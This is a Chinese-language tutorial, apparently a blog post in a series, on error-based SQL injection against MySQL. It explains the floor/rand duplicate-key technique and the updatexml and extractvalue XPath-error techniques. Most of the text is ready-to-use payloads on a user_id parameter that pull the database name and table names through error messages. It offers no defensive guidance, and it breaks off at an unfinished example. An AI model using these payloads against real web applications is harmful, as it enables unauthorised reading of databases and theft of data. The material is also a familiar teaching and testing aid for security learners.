【SQL注入】报错注入

其他相关文章:

SQL注入基础

盲注

报错注入

用于注入结果无回显但错误信息有输出的情况

floor报错注入

floor函数:返回小于等于某值的整数,例如floor(1)则返回1,floor(1.9)也返回1

rand函数:生成随机数.可指定seed,指定后每次生成的数都一样即伪随机,不指定seed则每次生成的随机数都不一样.

 通过floor和rand构造payload使查询出现主键重复错误.

payload:

user_id=1 and (select 123 from (select concat(你的查询语句,floor(rand(0)*2)) as x ,count(*) from information_schema.tables group by x)a)

比如

user_id=1 and (select 123 from (select concat(database(),floor(rand(0)*2)) as x ,count(*) from information_schema.tables group by x)a)

再比如

user_id=1 and (select 123 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as x ,count(*) from information_schema.tables group by x)a)

updatexml报错注入

updatexml函数:updatexml(XML_document, XPath_string, new_value);

通过构造第二个参数使其为错误的XPath格式,造成错误.

payload:

user_id=1 and updatexml(1,concat(0x26,你的语句,0x26),1)

比如

user_id=1 and updatexml(1,concat(0x26,database(),0x26),1)

再比如 

user_id=1 and updatexml(1,concat(0x26,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x26),1)

extractvalue报错注入

extractvalue函数:extractvalue(xml_frag, xpath_string)  使用XPath表示法从XML字符串中提取值

也是由错误的xpath格式引发错误.和updatexml差不多.

payload:

user_id=1 and extractvalue(1,concat(0x26,你的语句,0x26))

比如